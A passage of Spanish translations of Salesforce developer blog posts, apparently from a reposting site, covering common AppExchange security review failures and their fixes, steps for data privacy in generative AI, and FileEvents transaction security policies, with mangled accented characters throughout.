Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

5 pasos para la IA generativa confiable para desarrolladores de Salesforce 鈽侊笍

5 pasos para la IA generativa confiable para desarrolladores de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

5 pasos para la IA generativa confiable para desarrolladores de Salesforce | Blog de desarrolladores de Salesforce

La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje autom谩tico, la IA generativa puede impulsar la innovaci贸n, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades 煤nicas de los clientes.

Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protecci贸n de los datos cr铆ticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no est谩n poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas s贸lidas de protecci贸n de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que tambi茅n mantiene la confianza del cliente, su activo m谩s valioso.

Con los cinco pasos que se describen a continuaci贸n, puede innovar r谩pidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.

Paso 1: comprender y auditar sus datos

Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querr谩 comprender qu茅 datos usar谩 para crear avisos, plantillas y modelos de capacitaci贸n. Comprender los datos a los que permite que accedan los modelos de IA ayudar谩 a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.

Entonces, 驴c贸mo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la informaci贸n de identificaci贸n personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.

Una manera f谩cil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitaci贸n. Una vez que los datos se han escaneado a trav茅s de Data Detect, puede confirmar que no hay sorpresas en esos datos, como n煤meros de tarjetas de cr茅dito o direcciones de correo electr贸nico en campos donde ese tipo de datos no deber铆a existir.

Data Detect tambi茅n puede ayudar a recomendar un nivel de clasificaci贸n, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, as铆 como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas autom谩ticamente. por IA.

Paso 2: configure la protecci贸n de la privacidad de los datos para sus procesos generativos de IA

Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que conf铆a m谩s en la IA para comprender y tomar decisiones a partir de sus datos, 驴c贸mo protege tambi茅n esos datos, especialmente la PII?

Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing din谩micas 1:1, querr谩 desarrollar pol铆ticas de uso de datos claras y transparentes que describan c贸mo se manejar谩n los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas pol铆ticas a sus clientes y br铆ndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Adem谩s, cree una pol铆tica para eliminar y ofuscar los datos que ya no son 煤tiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.

Centro de privacidad puede ayudar a verificar que sus procesos de IA est茅n autorizados para su uso en capacitaci贸n y avisos. El Centro de privacidad tambi茅n puede ayudarlo a crear pol铆ticas de retenci贸n para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados autom谩ticamente por la IA.

Paso 3: configure su organizaci贸n para administrar la IA generativa

Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los l铆mites de los datos que desea utilizar, deber谩 implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.

Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso seg煤n sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.

Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organizaci贸n para los datos que se usan y se obtienen de los procesos de IA.

Ahora prepar茅monos para implementar la IA de manera segura en toda su organizaci贸n.

Paso 4: pruebe sus procesos para la implementaci贸n

Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos prop贸sitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificaci贸n y mitigaci贸n de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.

Adem谩s, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia pr谩ctica y capacitaci贸n en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones 茅ticas mientras toman decisiones informadas al usar la tecnolog铆a de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicaci贸n 茅tica de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnolog铆a transformadora con confianza.

Aseg煤rese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar f谩cilmente cualquier dato que no deba incluirse con Data Mask .

Paso 5: Supervise y proteja sus procesos de IA

Garantizar que la integraci贸n de IA no acceda a los datos ni modifique los sistemas m谩s all谩 del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos espec铆ficos. Adem谩s, se deben realizar pruebas y validaciones exhaustivas de la integraci贸n de la IA para verificar que funcione seg煤n lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.

Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditor铆as y revisiones peri贸dicas de los procesos de integraci贸n de IA y los registros de acceso pueden ayudar a identificar cualquier desviaci贸n o posibles riesgos de seguridad.

Event Monitoring ayuda a que el proceso de monitoreo y detecci贸n sea m谩s f谩cil al permitir la configuraci贸n de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones m谩s all谩 de lo que se pretend铆a inicialmente para su proceso de IA.

Finalmente, a medida que se adentra m谩s en su viaje de IA, es fundamental que sus datos est茅n respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA est茅n mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versi贸n de los registros utilizados y tocados por AI, y restaure cualquier error.

Conclusi贸n

Al adoptar un enfoque que prioriza la privacidad e implementar medidas s贸lidas de protecci贸n de datos, puede crear una base confiable para pr谩cticas de IA generativas responsables, sostenibles y 茅ticas, todo mientras impulsa una innovaci贸n m谩s eficiente y efectiva e interacciones m谩s personalizadas con los clientes. Para obtener m谩s informaci贸n sobre c贸mo comenzar con la IA generativa, consulte nuestra Gu铆a de introducci贸n a la IA.

Recursos

Sobre el Autor

Marla Hay Vicepresidenta de Seguridad, Privacidad y Gesti贸n de Datos en Salesforce y dirige la organizaci贸n de productos de Servicios de confianza. Se uni贸 a Salesforce en 2017 despu茅s de liderar productos en una empresa de gesti贸n de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computaci贸n de la Universidad de Cornell y una maestr铆a en Ciencias de la Computaci贸n de la Universidad Johns Hopkins.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Uso de FileEvents para fortalecer la seguridad de los archivos 鈽侊笍

Uso de FileEvents para fortalecer la seguridad de los archivos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Uso de FileEvents para fortalecer la seguridad de los archivos | Blog de desarrolladores de Salesforce

Siempre que un usuario de Salesforce intente cargar, obtener una vista previa o descargar un archivo a trav茅s de la interfaz de usuario o la API, se producir谩 un FileEvent en el backend. Este evento est谩 incluido en la funci贸n Supervisi贸n de eventos en tiempo real de Salesforce, y los desarrolladores de Salesforce pueden optar por habilitar la transmisi贸n o el almacenamiento para FileEvents como cualquier otro evento asociado con la Supervisi贸n de eventos en tiempo real. Adem谩s, los desarrolladores pueden configurar una pol铆tica de seguridad de transacciones para FileEvents, lo que les permite realizar un seguimiento y tomar medidas en funci贸n de las acciones del usuario en los archivos.

Estamos emocionados de ver que FileEvents se convierte en GA en el lanzamiento de Summer '23 . En esta publicaci贸n, le mostraremos c贸mo puede crear una pol铆tica de seguridad de transacciones sobre un FileEvent y fortalecer la seguridad de los archivos.

Nota: FileEvents est谩 disponible para los clientes que compraron suscripciones complementarias de Salesforce Shield o Salesforce Event Monitoring.

驴Por qu茅 es importante la seguridad de archivos de Salesforce?

Para comprender FileEvents, es importante comprender primero la importancia de la seguridad de archivos en la organizaci贸n de Salesforce. Salesforce almacena una amplia gama de informaci贸n como archivos, incluidos los datos de contacto del cliente, los datos de ventas, las notas de las interacciones con los clientes y las solicitudes de servicio, as铆 como documentos internos como contratos, materiales de marketing y especificaciones de productos. Adem谩s, el sistema puede almacenar archivos relacionados con transacciones financieras como facturas u 贸rdenes de compra.

El prop贸sito de Salesforce Files es mantener todos estos datos en una ubicaci贸n central, para que varios usuarios puedan acceder a ellos f谩cilmente a la vez, mejorando as铆 la colaboraci贸n y la productividad. Es fundamental priorizar la protecci贸n de estos archivos para garantizar la seguridad de la informaci贸n confidencial en su organizaci贸n de Salesforce. Esto no puede ser enfatizado suficientemente.

驴Qu茅 puede hacer FileEvents?

Cuando los empleados renuncian a su trabajo, normalmente contin煤an trabajando durante un breve per铆odo de tiempo antes de abandonar la empresa. En esta situaci贸n, muchas empresas restringen el acceso a archivos confidenciales durante este per铆odo previo a la salida. Se puede implementar una pol铆tica de seguridad de transacciones utilizando FileEvents para evitar que los empleados descarguen archivos etiquetados como "legales" con fines de cumplimiento.

Suposici贸n

  • Su organizaci贸n tiene una licencia complementaria de Salesforce Shield o Event Monitoring
  • Los archivos que los usuarios intentan descargar tienen una etiqueta legal

Veamos c贸mo puede implementar una pol铆tica de seguridad de transacciones utilizando eventos de archivo.

  • Configuraci贸n 鈫 Pol铆ticas de seguridad de transacciones
  • Haga clic en Nuevo y seleccione Apex

En el men煤 desplegable "Evento", seleccione FileEvent . Y en el men煤 desplegable Clase de Apex, seleccione Nueva clase de Apex vac铆a y luego haga clic en el bot贸n Siguiente .

En la selecci贸n Acciones , podemos elegir Mensaje predeterminado o Mensaje de bloqueo personalizado. Lo mismo se aplica al contenido de las notificaciones por correo electr贸nico. Aseg煤rese de que el estado de la pol铆tica est茅 habilitado.

Ahora, la clase est谩ndar de Apex se ha creado autom谩ticamente.

El fragmento de c贸digo siguiente incluye l贸gica para satisfacer las necesidades de cumplimiento. Actualice la clase con este fragmento de c贸digo.

隆Gran trabajo! Ve谩moslo todo en acci贸n

Inicie sesi贸n como usuario e intente descargar el archivo que est谩 etiquetado como "Legal".

La capacidad de descargar los archivos se ha restringido debido a la pol铆tica que creamos.

Conclusi贸n

Ahora que FileEvents est谩 disponible en general, es m谩s f谩cil que nunca configurar pol铆ticas de seguridad de transacciones para administrar archivos. Al aprovechar estos eventos, puede monitorear y responder a la actividad en tiempo real, detectar comportamientos sospechosos r谩pidamente e identificar con precisi贸n amenazas potenciales antes de que se conviertan en un problema.

Adem谩s, aprovechar las capacidades de automatizaci贸n, como alertas o notificaciones autom谩ticas cuando ocurren ciertas actividades en archivos dentro de su organizaci贸n, ayudar谩 a garantizar que cualquier actividad maliciosa se identifique de inmediato para que se puedan tomar las contramedidas adecuadas de inmediato.

Est谩 claro por qu茅 mantener seguros los documentos confidenciales dentro de un sistema de archivo seguro debe ser una prioridad para cualquier empresa que utilice una plataforma de CRM como Salesforce. En conclusi贸n, comprender FileEvents es esencial para mejorar la seguridad de su organizaci贸n de Salesforce.

Sobre el Autor

Jagan Padmanabhan es Arquitecto T茅cnico (Grupo de 脡xito del Cliente) en Salesforce con un enfoque especial en la creaci贸n de aplicaciones seguras a gran escala. Le apasiona desarrollar aplicaciones utilizando productos basados en la seguridad como Salesforce Shield y Event Monitoring. Adem谩s, contribuye activamente a la seguridad de la plataforma como investigador de seguridad. S铆guelo en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Seguridad Zero Trust para tus APIs usando MuleSoft 鈽侊笍

Seguridad Zero Trust para tus APIs usando MuleSoft 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Seguridad Zero Trust para sus API con MuleSoft | Blog de desarrolladores de Salesforce

